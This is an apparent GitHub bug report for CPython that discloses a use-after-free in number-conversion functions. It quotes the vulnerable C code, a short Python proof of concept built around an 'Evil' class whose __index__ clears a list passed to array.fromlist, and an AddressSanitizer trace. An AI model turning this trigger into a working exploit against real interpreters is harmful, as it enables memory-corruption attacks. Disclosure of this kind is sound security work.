Uh oh!
There was an error while loading.Please reload this page.
- Notifications
You must be signed in to change notification settings - Fork34k
Description
Bug report
Bug description:
The _PyNumber_Index, PyFloat_AsDouble and PyNumber_Long functions use a borrowed reference for error formatting after calling Python slots (index/float), but the slot's frame cleanup can free the object before the error is formatted.
A use-after-free vulnerability exists in CPython's type conversion functions (_PyNumber_Index, PyFloat_AsDouble and PyNumber_Long) where a borrowed reference is used for error message formatting after a Python callback that can free the referenced object.
For example, the vulnerable code pattern could be observed in _PyNumber_Index implementation (Objects/abstract.c):
PyObject*_PyNumber_Index(PyObject*item)// item is a BORROWED reference {if (item==NULL) {returnnull_error(); }if (PyLong_Check(item)) {returnPy_NewRef(item); }if (!_PyIndex_Check(item)) {PyErr_Format(PyExc_TypeError,"'%.200s' object cannot be interpreted ""as an integer",Py_TYPE(item)->tp_name);returnNULL; }// === PYTHON CODE EXECUTES HERE ===PyObject*result=Py_TYPE(item)->tp_as_number->nb_index(item);// === item MAY NOW BE FREED ===if (!result||PyLong_CheckExact(result)) {returnresult; }if (!PyLong_Check(result)) {PyErr_Format(PyExc_TypeError,"%T.__index__() must return an int, not %T",item,result);// <== UAF: item may be freedPy_DECREF(result);returnNULL; }// ... similar pattern continues }
Similar patterns can be found in the PyFloat_AsDouble and PyNumber_Long functions.
The Python array.fromlist() method provides an ideal attack vector because it:
Iterates over a list using PyList_GET_ITEM() (returns borrowed reference)
Passes the borrowed reference directly to type-specific setitem functions
These functions call _PyNumber_Index() or PyFloat_AsDouble() for conversion.
Running with a python interpreter compiled with ASAN (./configure --with-address-sanitizer):
importarrayclassEvil:def__init__(self,lst):self.lst=lstdef__index__(self):self.lst.clear()return"not an int"lst= []e=Evil(lst)lst.append(e)delearr=array.array('I')arr.fromlist(lst)
You'll get the following:
==73525==ERROR: AddressSanitizer: heap-use-after-free on address 0x6130000300b8 at pc 0x0001013458a4 bp 0x00016ee396f0 sp 0x00016ee396e8READ of size 8 at 0x6130000300b8 thread T0 #0 0x0001013458a0 in unicode_from_format unicodeobject.c:3075 #1 0x0001013436a8 in PyUnicode_FromFormatV unicodeobject.c:3109 #2 0x00010154d5c8 in PyErr_Format errors.c:1243 #3 0x0001010fe4e8 in _PyNumber_Index abstract.c:1433 #4 0x000109338334 in II_setitem arraymodule.c:411 #5 0x0001093427d4 in array_array_fromlist arraymodule.c.h:495 #6 0x00010114aeb0 in _PyObject_VectorcallTstate pycore_call.h:136 #7 0x0001014828ac in _Py_VectorCallInstrumentation_StackRefSteal ceval.c:1094 #8 0x0001014b4718 in _PyEval_EvalFrameDefault generated_cases.c.h:1785 #9 0x00010148180c in _PyEval_Vector ceval.c:2516 #10 0x00010148105c in PyEval_EvalCode ceval.c:1005 #11 0x000101646118 in run_mod pythonrun.c:1469 #12 0x00010163e6a0 in _PyRun_SimpleFileObject pythonrun.c:518 #13 0x00010163da30 in _PyRun_AnyFileObject pythonrun.c:81 #14 0x0001016ac948 in pymain_run_file main.c:429 #15 0x0001016aabcc in Py_RunMain main.c:772 #16 0x0001016ab9fc in pymain_main main.c:802 #17 0x0001016abba8 in Py_BytesMain main.c:826 #18 0x00019e4edd50 (<unknown module>)CPython versions tested on:
3.15
Operating systems tested on:
macOS